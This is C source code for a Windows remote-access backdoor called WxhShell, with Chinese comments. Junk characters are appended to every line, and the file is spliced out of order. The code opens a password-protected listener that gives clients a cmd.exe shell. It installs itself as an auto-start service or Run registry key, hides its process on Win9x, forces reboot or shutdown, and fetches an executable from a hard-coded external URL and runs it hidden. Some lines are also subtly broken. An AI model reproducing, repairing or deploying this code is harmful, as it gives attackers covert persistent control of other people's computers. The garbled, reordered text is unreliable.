    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P+o ZS  
    else { {E!$<A9  
    closesocket(wsh); z?+N3p9  
    ExitThread(0); A!hkofQ  
    } OHH wcJ7N  
    break; -,p(PK  
    } \]o#tYN\a0  
  // 获取shell yyBy|7QgO  
  case 's': { :;]6\/ky  
    CmdShell(wsh); QZzi4[-as  
    closesocket(wsh); N|8TE7- F|  
    ExitThread(0); Ga~IOlS  
    break; P~=|R9 t  
  } D[9eu>"'9M  
  // 退出 ]X{LZYk  
  case 'x': { X_"TG;*$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]3C7guWz  
    CloseIt(wsh); hPH= .rX  
    break; UX(#C,qgG  
    } Au:Q4x.  
  // 离开 3;#v$F8R  
  case 'q': { A-4\;[P\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q*-q5FE  
    closesocket(wsh); }}K4 4<]u  
    WSACleanup(); 347p2sK>  
    exit(1); #uFP eu:  
    break; rr2|xL?+u  
        } /1g_Uv;  
  } RV7l=G9tq  
  } 8g&uCv/Uk  
NCd_h<}|6F  
  // 提示信息 bf::bV?T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $c[8-=  
} K^w(WE;db  
  } YW0UIO  
:X/j%m*  
  return; ^qYJx  
} !SEg4z  
Svy bP&i|  
// shell模块句柄 BEN=/ v  
int CmdShell(SOCKET sock) c`AtK s)u  
{ WOR~tS  
STARTUPINFO si; V% psaT=)P  
ZeroMemory(&si,sizeof(si)); g/'MECB  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hb zU?_}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a\aJw[d{  
PROCESS_INFORMATION ProcessInfo; # (T  
char cmdline[]="cmd"; ti3T ?_  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EO3?Dev  
  return 0; TDk'  
} iIA&\'|;i  
'$;S?6$eW  
// 自身启动模式 jBarYg  
int StartFromService(void) Hj$JXo[U  
{  WOG=Uy$  
typedef struct 3<CCC+47  
{ F3i+t+Jt  
  DWORD ExitStatus; Hq3"OMGq  
  DWORD PebBaseAddress; X^eTf-*T  
  DWORD AffinityMask; |Fm(  
  DWORD BasePriority; x{j|Tf3,G  
  ULONG UniqueProcessId; hK&jo(V  
  ULONG InheritedFromUniqueProcessId; 9v8{JaI3  
}   PROCESS_BASIC_INFORMATION; TE3A(N'  
-y)ij``VY  
PROCNTQSIP NtQueryInformationProcess; }RDGk+x7|  
oxha8CF]D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5ZSV)$t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8dNwi&4  
7q^o sOj"  
  HANDLE             hProcess; y08.R. l  
  PROCESS_BASIC_INFORMATION pbi; |Xlpgdiu  
4(f[Z9 iZ]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); db'Jl^  
  if(NULL == hInst ) return 0; Zchs/C 9{  
2X!O '  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {'NdN+_C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B#N(PvtE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); D ]:sR  
R6r'[- B2  
  if (!NtQueryInformationProcess) return 0; Cq(dj^/~m  
Xk8+m>   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (:4N#p  
  if(!hProcess) return 0; uK2MC?LP  
b*\K I  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]<V[H  
~D PjTR  
  CloseHandle(hProcess); yO; r]`j0  
Az8>^|@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PV<=wc^  
if(hProcess==NULL) return 0; 1>r7s*  
RtwlPz<~S  
HMODULE hMod; :GBWQXb G  
char procName[255]; 3&^4%S{/  
unsigned long cbNeeded; 0,1:l3iu1M  
N.vt5WP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M,7A|?O  
dgh )Rfp3  
  CloseHandle(hProcess); y1GVno  
TL-sxED,,D  
if(strstr(procName,"services")) return 1; // 以服务启动 n,q+EZd  
33z)F  
  return 0; // 注册表启动 wC+_S*M-K  
} $6kVhE!;  
$vlq]6V8  
// 主模块 PGF=q|j9K  
int StartWxhshell(LPSTR lpCmdLine)  \09eH[  
{ _~ZNX+4  
  SOCKET wsl; w7 @fiH{  
BOOL val=TRUE; 3(0k!o0 "  
  int port=0; .'k]]2%ILp  
  struct sockaddr_in door; DK;p6_tT  
D~E1hr&Vd>  
  if(wscfg.ws_autoins) Install(); a|Io)Qhr  
eK PxSN Z  
port=atoi(lpCmdLine); z-$bce9*  
j6]+ fo&3  
if(port<=0) port=wscfg.ws_port; +P:xB0Tm D  
?-1r$z  
  WSADATA data; KHV5V3q4  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KCu@5`p  
2oyTS*2u_&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   kv{uf$X*ve  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y&!M#7/'J3  
  door.sin_family = AF_INET; ,7&`V=C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ZG:#r\a  
  door.sin_port = htons(port); ACm9H9:Vd  
^ ]02)cK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1RpTI7  
closesocket(wsl); v]SHude{  
return 1; A{3Aw|;  
} $<cio X  
G5a PjP  
  if(listen(wsl,2) == INVALID_SOCKET) { {|nm0vg`A  
closesocket(wsl); ^}7iouE C  
return 1; 5 #3/  
} ARvT  
  Wxhshell(wsl); Ysbd4 rN  
  WSACleanup(); $fES06%  
F9@,T8I  
return 0; &.J8O+  
INtt0Cm9"  
} ;43Ye ^=  
VrLU07"0n  
// 以NT服务方式启动 ~b;l08 <  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D1]%2:  
{ Vz[E)(QX-`  
DWORD   status = 0; 8s(?zK\  
  DWORD   specificError = 0xfffffff; q_S`@2Dzz,  
A[)od   
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2NHuZ.af  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VtIPw&KHW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; erTb9`N4  
  serviceStatus.dwWin32ExitCode     = 0; )NAC9:8!  
  serviceStatus.dwServiceSpecificExitCode = 0; GG%X1c8K  
  serviceStatus.dwCheckPoint       = 0; {uH 4j4)2  
  serviceStatus.dwWaitHint       = 0; `2`Nu:r^  
l`=).k   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 65X31vU  
  if (hServiceStatusHandle==0) return; v|uY\Z  
&S[tI$  
status = GetLastError(); FdwT  
  if (status!=NO_ERROR) pn3f{fQ  
{ <q|IP_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q M7z .  
    serviceStatus.dwCheckPoint       = 0; -wv5c  
    serviceStatus.dwWaitHint       = 0; 7.g)_W{7}  
    serviceStatus.dwWin32ExitCode     = status; X{KWBk.1  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? g9mDe;k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); E)z[@Np  
    return; %.^8&4$+  
  } =qPk'n9i8  
Q-;ltJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;ELQIHnD"  
  serviceStatus.dwCheckPoint       = 0; DwM4/m  
  serviceStatus.dwWaitHint       = 0; (}E-+:vFU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uX_A4ht*  
} vQf'lEFk  
FD>j\  
// 处理NT服务事件,比如:启动、停止 Zkl:^!*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) u=^0n2ez  
{ $jMU| {  
switch(fdwControl) eBiP\  
{ l*]9   
case SERVICE_CONTROL_STOP: /LMb~Hy,  
  serviceStatus.dwWin32ExitCode = 0; $T* ##kyE9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0=Jf93D5  
  serviceStatus.dwCheckPoint   = 0; 2_Me 4  
  serviceStatus.dwWaitHint     = 0; ^ei[#I  
  { nTrfbK@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qZRx,^gd  
  } 04-phEA2Q  
  return; Cr0 \7  
case SERVICE_CONTROL_PAUSE: Y#'mALC2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bSHlR#!6  
  break; N_S>%Z+  
case SERVICE_CONTROL_CONTINUE: LL3RC6;e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8\c= Un  
  break; {MX_t/o=f  
case SERVICE_CONTROL_INTERROGATE: XP'Mv_!Z  
  break; <jd S0YT  
}; %4QCUc*lr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dLOUL9hf  
} N{Og; roGD  
- bL 7M5  
// 标准应用程序主函数 +o&E)S}wP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ht^MY  
{ =w &%29BYq  
[{3WHS.  
// 获取操作系统版本 <()xO(  
OsIsNt=GetOsVer(); $s2Ty1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); etF?,^)h=g  
VuTH"br6  
  // 从命令行安装 K@xp!  
  if(strpbrk(lpCmdLine,"iI")) Install(); m(JFlO  
 (2vR8  
  // 下载执行文件 /_~b~3{u  
if(wscfg.ws_downexe) { 'Rk~bAX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !ZP1?l30  
  WinExec(wscfg.ws_filenam,SW_HIDE);  |u 8hxa  
} X;_0"g  
-,j J{Y~  
if(!OsIsNt) { .XM3oIaW  
// 如果时win9x,隐藏进程并且设置为注册表启动 Mi'Q5m  
HideProc(); lh`inAt)"  
StartWxhshell(lpCmdLine); A(AyLxB47*  
} <LM<,  
else  iqf+rBL  
  if(StartFromService()) $ hB;r  
  // 以服务方式启动 2 =tPxO')B  
  StartServiceCtrlDispatcher(DispatchTable); Cnf;5/  
else ^EU& 6M2  
  // 普通方式启动 'R6D+Vk/  
  StartWxhshell(lpCmdLine); @'[w7HsJ  
QI>yi&t  
return 0; lv9Ss-c4  
} CaNZScnZ  
E&0A W{  
%Fb"&F^7  
uF5d ]{Qt  
=========================================== 2^Gl;3  
qS{lay  
,u QLXF2  
*|AnL}GJ  
8 g'9( )&  
$I_ 04k#t  
" [ d<|Cde  
HC w$v#  
#include <stdio.h> js Tb0  
#include <string.h> `xe[\Z2  
#include <windows.h> YlOYgr^  
#include <winsock2.h> 4@#1G*OO  
#include <winsvc.h> k1 >%wR  
#include <urlmon.h> {npKdX  
(omdmT%D  
#pragma comment (lib, "Ws2_32.lib") r5[om$|*  
#pragma comment (lib, "urlmon.lib") `h5HA-ud  
`g% ]z@'+?  
#define MAX_USER   100 // 最大客户端连接数 !$h%$se  
#define BUF_SOCK   200 // sock buffer rBs7,h  
#define KEY_BUFF   255 // 输入 buffer y5?T`ts,#  
Cq1t[a  
#define REBOOT     0   // 重启 t&SJ!>7_c  
#define SHUTDOWN   1   // 关机 S6}_Z  
S}e*~^1J  
#define DEF_PORT   5000 // 监听端口 Wf_aEW&n  
/6F 1=O(c>  
#define REG_LEN     16   // 注册表键长度 @FkNT~OZ  
#define SVC_LEN     80   // NT服务名长度 If6wkY6sR  
P>euUVMPz4  
// 从dll定义API Y'/`?CK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l>"gO9j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $Z 10Zf=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `6j?2plZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3f's>+,#%  
/@FB;`'  
// wxhshell配置信息 5`oor86  
struct WSCFG { W_8 FzXA  
  int ws_port;         // 监听端口 =YA%= d_  
  char ws_passstr[REG_LEN]; // 口令 )Tngtt D  
  int ws_autoins;       // 安装标记, 1=yes 0=no  9 N=KU  
  char ws_regname[REG_LEN]; // 注册表键名 /(n)I  
  char ws_svcname[REG_LEN]; // 服务名 : ` F>B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eHv~?b5l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KGi@H%NN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DWJ%r"aN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $qQ6u!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V2w[0^ L  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UkNC|#l)  
H#U{i  
}; i40r}?-  
&:]_a?|*S  
// default Wxhshell configuration o)}b Fw  
struct WSCFG wscfg={DEF_PORT, 4)2*|w  
    "xuhuanlingzhe", Ms1\J2  
    1, nIph[Vs-Z  
    "Wxhshell", r_)-NOp  
    "Wxhshell", z('93vsO  
            "WxhShell Service", nS?HH6H  
    "Wrsky Windows CmdShell Service", ?RWd"JTGue  
    "Please Input Your Password: ", uNXh"?  
  1, Kox~k?JK  
  "http://www.wrsky.com/wxhshell.exe", yF0,}  
  "Wxhshell.exe" Z+t?ah00  
    }; 2l5@gDk5  
[%l+ C~m  
// 消息定义模块 58e{WC  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Zy*}C,Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3{MIBMA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w#PaN83+  
char *msg_ws_ext="\n\rExit."; oE)c8rE  
char *msg_ws_end="\n\rQuit."; oK5(,8 (4  
char *msg_ws_boot="\n\rReboot..."; 8GlH)J+kq  
char *msg_ws_poff="\n\rShutdown..."; Rz=]KeZu  
char *msg_ws_down="\n\rSave to "; |w~zh6~  
rLL;NTN+/  
char *msg_ws_err="\n\rErr!"; ]v_xEH}T  
char *msg_ws_ok="\n\rOK!"; MW*}+ PCY  
iXl1S[.l  
char ExeFile[MAX_PATH]; DA@ { d-A  
int nUser = 0; l'16B^  
HANDLE handles[MAX_USER]; =j;o, J:(  
int OsIsNt; /u:Sn=SPd  
3}twWnQZJ  
SERVICE_STATUS       serviceStatus; K&|zWpb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &<UOi@  
I}:>M!w  
// 函数声明 m(OBk;S~   
int Install(void); ^* DKF  
int Uninstall(void); :+Dn]:\  
int DownloadFile(char *sURL, SOCKET wsh); KAsS= `  
int Boot(int flag); KMbBow3o*~  
void HideProc(void); GUN<ZOYb=  
int GetOsVer(void); *"zE,Bp"  
int Wxhshell(SOCKET wsl); H50nR$$<*Y  
void TalkWithClient(void *cs); +Z;0"'K'e  
int CmdShell(SOCKET sock); +'#d*r91@  
int StartFromService(void); 3^ Z tIZ  
int StartWxhshell(LPSTR lpCmdLine); tQ&#FFt,)  
uDoSe^0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fs)O7x-B(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9(X *[X#  
n<hwstk  
// 数据结构和表定义 Ue,"CQ6H  
SERVICE_TABLE_ENTRY DispatchTable[] = ! h4So4p  
{ ^Ws~h\{%  
{wscfg.ws_svcname, NTServiceMain}, um8ZhXq  
{NULL, NULL} J7cqnj  
}; Yhsb$wu  
}+=@Ci  
// 自我安装 5<a<!]|C  
int Install(void) IB;y8e,  
{ hcf>J6ZLT  
  char svExeFile[MAX_PATH]; *n[Fl  
  HKEY key; `7 B [<  
  strcpy(svExeFile,ExeFile); J| DWT+$#Z  
"V:UQ<a\  
// 如果是win9x系统,修改注册表设为自启动 R6:N`S]&d[  
if(!OsIsNt) { ,~4(td+R7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dO8Z {wfs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6 w ]]KA  
  RegCloseKey(key); /?6y2t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #F{|G:\@[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u8,T>VNVw  
  RegCloseKey(key); 5j}@Of1pd  
  return 0; jcG4h/A  
    } XqwdJND  
  } n&V(c&C  
} dF?pEet?2  
else { 4@W.{|2~  
|ITg-t  
// 如果是NT以上系统,安装为系统服务 U NAuF8>K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?t%5/  
if (schSCManager!=0) <kM%z{p  
{ EwOTG Y{0p  
  SC_HANDLE schService = CreateService {MEU|9@ Y  
  ( d[Fsp7U}  
  schSCManager, 'V>+G>U  
  wscfg.ws_svcname, j68Gz5;j  
  wscfg.ws_svcdisp, hs*:!&E  
  SERVICE_ALL_ACCESS, {Y/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , i*; V4zh  
  SERVICE_AUTO_START, dJ;;l7":~  
  SERVICE_ERROR_NORMAL, G?V3lQI1n  
  svExeFile, k/mY. 2yPv  
  NULL, V('b|gsEo  
  NULL, 23fAc"@ B  
  NULL, 9"aTF,'F/  
  NULL, v m$v[  
  NULL zld>o3K}  
  ); 2>r.[  
  if (schService!=0) @6Mo_4)O  
  { r\1*N.O3|O  
  CloseServiceHandle(schService); TDseWdA  
  CloseServiceHandle(schSCManager); DxD0iJ=W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z>&D~0  
  strcat(svExeFile,wscfg.ws_svcname); d+w<y~\ q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { jGWLYI=V2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3z ry %qV=  
  RegCloseKey(key); BA5= D>T-  
  return 0; y7Ub~q U  
    } Xg)yz~Ug  
  } }B.C#Y$@  
  CloseServiceHandle(schSCManager); j)0R*_-B[  
} Nl8Cctrf  
} 0jS/U|0  
JU6np4  
return 1; Z`!pU"O9l  
}  y1saE  
LH8?0 N[  
// 自我卸载 i0!F  
int Uninstall(void) f_\-y&)+*  
{  \X`P W  
  HKEY key; )}aF=%  
4~/6d9f  
if(!OsIsNt) { tv{.iM|V c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t5qAH++axN  
  RegDeleteValue(key,wscfg.ws_regname); s [!SG`&  
  RegCloseKey(key); :Ry 24X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %qHT!aP  
  RegDeleteValue(key,wscfg.ws_regname); =V , _  
  RegCloseKey(key); [4t KJ+v  
  return 0; Y>%NuL|s  
  }  %!S  
} I6fpXPP).  
} -a[{cu{  
else { LNb![Rq  
E6gEP0b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *LVM}| f  
if (schSCManager!=0) "10VN*)J}  
{ cmeyCyV*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aFym&n\  
  if (schService!=0) ..:V3]-D  
  { m0,9yY::wj  
  if(DeleteService(schService)!=0) { g}-Z]2(c#  
  CloseServiceHandle(schService); kA_ 3o)J  
  CloseServiceHandle(schSCManager); yM2&cMHH~  
  return 0; l_%~X 9"  
  } $^!w`>0C  
  CloseServiceHandle(schService); $Da^z[8e  
  } ?X1#b2s  
  CloseServiceHandle(schSCManager); 8iNAs#s  
} \2,18E  
} (AYS>8O&  
1sjn_fPz  
return 1; h"ylpv+  
} !;gke,fB  
|DD?3#G01  
// 从指定url下载文件 >C[1@-]G%7  
int DownloadFile(char *sURL, SOCKET wsh) gT OMD  
{ lo:~~l  
  HRESULT hr; ^IH1@  
char seps[]= "/"; qrc/Q;$  
char *token; VZoOdR:d  
char *file; }v,THj  
char myURL[MAX_PATH]; bEKLameKv  
char myFILE[MAX_PATH]; DO1{r/Ib.{  
Oy&'zigJ  
strcpy(myURL,sURL); q#`^EqtUF  
  token=strtok(myURL,seps); f zO8by  
  while(token!=NULL) I={{VQ  
  { ArYF\7P  
    file=token; ];;w/$zke  
  token=strtok(NULL,seps); ([*t.  
  } DcA'{21  
!&lPdEc@T  
GetCurrentDirectory(MAX_PATH,myFILE); B6\VxSX4{  
strcat(myFILE, "\\"); ~P_kr'o  
strcat(myFILE, file); ]Qr8wa>Z  
  send(wsh,myFILE,strlen(myFILE),0); ;l()3;  
send(wsh,"...",3,0); oDUMoX%4s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \T9UbkR  
  if(hr==S_OK) \<B6>  
return 0; WZ&@ JB  
else L@r.R_*H?s  
return 1; H>f{3S-%  
)y W_O:  
} hhAC@EGG  
)uvFta<(  
// 系统电源模块 rj~ian  
int Boot(int flag) Z!reX6  
{ (dF;Gcw+  
  HANDLE hToken; ;;!{m(;LS}  
  TOKEN_PRIVILEGES tkp; :, [ !8QP  
]4mj 1g&C  
  if(OsIsNt) { - >I{ :#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~iZF~PQ1_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HDyZzjgG  
    tkp.PrivilegeCount = 1; \STvBI?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Qu FCc1Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X.l"f'`l  
if(flag==REBOOT) { ~q(C j"7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) W;dzLgc  
  return 0; 2gAdZE&Y  
} ~#_$?_/(  
else { lMez!qx,=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N>%KV8>{L  
  return 0; T1HiHvJ  
} Xl6ZV,1=n7  
  } 0DIM]PS  
  else { kZ-~ ;fBe  
if(flag==REBOOT) { ws>Iyw.u  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }#>d2 =T$  
  return 0; n "KJB  
}  _np>({  
else { zl 0^EltiU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ( L\G!pP.  
  return 0; s4`*0_n  
} |/=p  
} n UCk0:{  
YCBML!L  
return 1; rqe_zyc&  
} 6XL9 qb~X  
>ha Ixs`9  
// win9x进程隐藏模块 zMzf=~  
void HideProc(void) b%f2"e0g  
{ 1=5'R/k  
zRoEx1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x ETVt q  
  if ( hKernel != NULL ) R 4QwWSBJ  
  { e=)* O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ZX6=D>)u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _AHB|P I  
    FreeLibrary(hKernel); 3KFrVhB=  
  } 0*IY%=i  
:'rZZeb'  
return; bA^: p3  
} [-Tt11  
%802H%+  
// 获取操作系统版本 YZ:'8<  
int GetOsVer(void) m\Fb ,  
{ 5`'au61/2  
  OSVERSIONINFO winfo; DD6`k*RIk.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +6)kX4  
  GetVersionEx(&winfo); 9 roth  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j X!ftm2  
  return 1; 7U )qC}(  
  else \v P2B  
  return 0; 0R5^p  
} 2td|8vDA  
-kri3?Y,  
// 客户端句柄模块 X.AWs=:-  
int Wxhshell(SOCKET wsl) 'j<:FUDJ  
{ [(P[qEY  
  SOCKET wsh; l^y?L4hg)  
  struct sockaddr_in client; <_{4-Q>S3#  
  DWORD myID; fRa-bqQ  
RQ)!KlY  
  while(nUser<MAX_USER) "ko?att~  
{ M3;v3 }z<-  
  int nSize=sizeof(client); ? ]:EmP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g yH7((#i  
  if(wsh==INVALID_SOCKET) return 1; sEJ;t0.LX  
-anFt+f-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y7IbE   
if(handles[nUser]==0) (zro7gKked  
  closesocket(wsh); ?r'TH/>  
else (VXx G/E3  
  nUser++; -k[tFBl w  
  } e5>5/l]jsg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v6DxxE2n  
)"c]FI[}  
  return 0; L1!hF3G  
} MV;Y?%>  
GKsL~;8"  
// 关闭 socket )bCG]OM7<  
void CloseIt(SOCKET wsh) Rw ao5l=x  
{ cM<hG:4%wX  
closesocket(wsh); 0@e}hv;  
nUser--; {Fp`l\,  
ExitThread(0); s8yTK2v2\  
} }!yD^:[ 5  
yc%E$g  
// 客户端请求句柄 !%RJC,X  
void TalkWithClient(void *cs) #9hXZr/8  
{ x [{q&N!"`  
QOh w  
  SOCKET wsh=(SOCKET)cs; mLk6!&zN  
  char pwd[SVC_LEN]; XAULD]Q  
  char cmd[KEY_BUFF]; lF}$`6  
char chr[1]; >upXt?  
int i,j; Aiks>Cyi23  
~ut& U  
  while (nUser < MAX_USER) { *CPB5s  
xlPcg7  
if(wscfg.ws_passstr) { K.iH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yr"!&\[oz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q{De&Bu  
  //ZeroMemory(pwd,KEY_BUFF); &b@!DAwAJ  
      i=0; 9p\wTzA  
  while(i<SVC_LEN) { 1nlE3Y?AV  
sRe#{EuJ  
  // 设置超时 {?>bblw/d  
  fd_set FdRead; AR+\uD=\I-  
  struct timeval TimeOut; s?G'l=CcKu  
  FD_ZERO(&FdRead); sAjKf\][  
  FD_SET(wsh,&FdRead); %X9:R'~sP  
  TimeOut.tv_sec=8; MNf@HG  
  TimeOut.tv_usec=0;  fBWJ%W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5Du>-.r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); K7[AiU_I  
y5AXL5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +%le/Pg@  
  pwd=chr[0]; X~)V)'R  
  if(chr[0]==0xd || chr[0]==0xa) { \A3>c|  
  pwd=0; x(3 I?#kE  
  break; THbtu*El  
  } 32bkouq  
  i++; ]g8i>,G  
    } gM;)  
Q&.IlVB[  
  // 如果是非法用户,关闭 socket gGI#QPT`X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @^:7UI_  
} Z*)y.i`  
r_V2 J{B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JW%/^'  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 94'k 7_q  
)S wG+k,  
while(1) { %];h|[ax]  
1 ~B<  
  ZeroMemory(cmd,KEY_BUFF); =UB*xm%!  
FUzMc1zy|  
      // 自动支持客户端 telnet标准   6Bq~\b^  
  j=0; N&x WHFn]C  
  while(j<KEY_BUFF) { DQ n`@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )ZgER[  
  cmd[j]=chr[0]; x8pbO[_|  
  if(chr[0]==0xa || chr[0]==0xd) { ,. 6J6{  
  cmd[j]=0; }W__ffH  
  break; J2oWssw"  
  } dY4k9p8  
  j++; lZS_n9Sc  
    } +C'TW^  
>TlW]st  
  // 下载文件 j2 o1"  
  if(strstr(cmd,"http://")) { !0!U01SWa  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /.| A  
  if(DownloadFile(cmd,wsh)) [yYH>~SuwZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :Er^"9'A2  
  else m<FWv2)^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )O2Nlk~l&  
  } {XDY:`vZ}  
  else { ElEv(>G*  
]M+VSU  
    switch(cmd[0]) { Z92iil;t  
  ~|r'2V*  
  // 帮助  O ':0V  
  case '?': { $TD~k;   
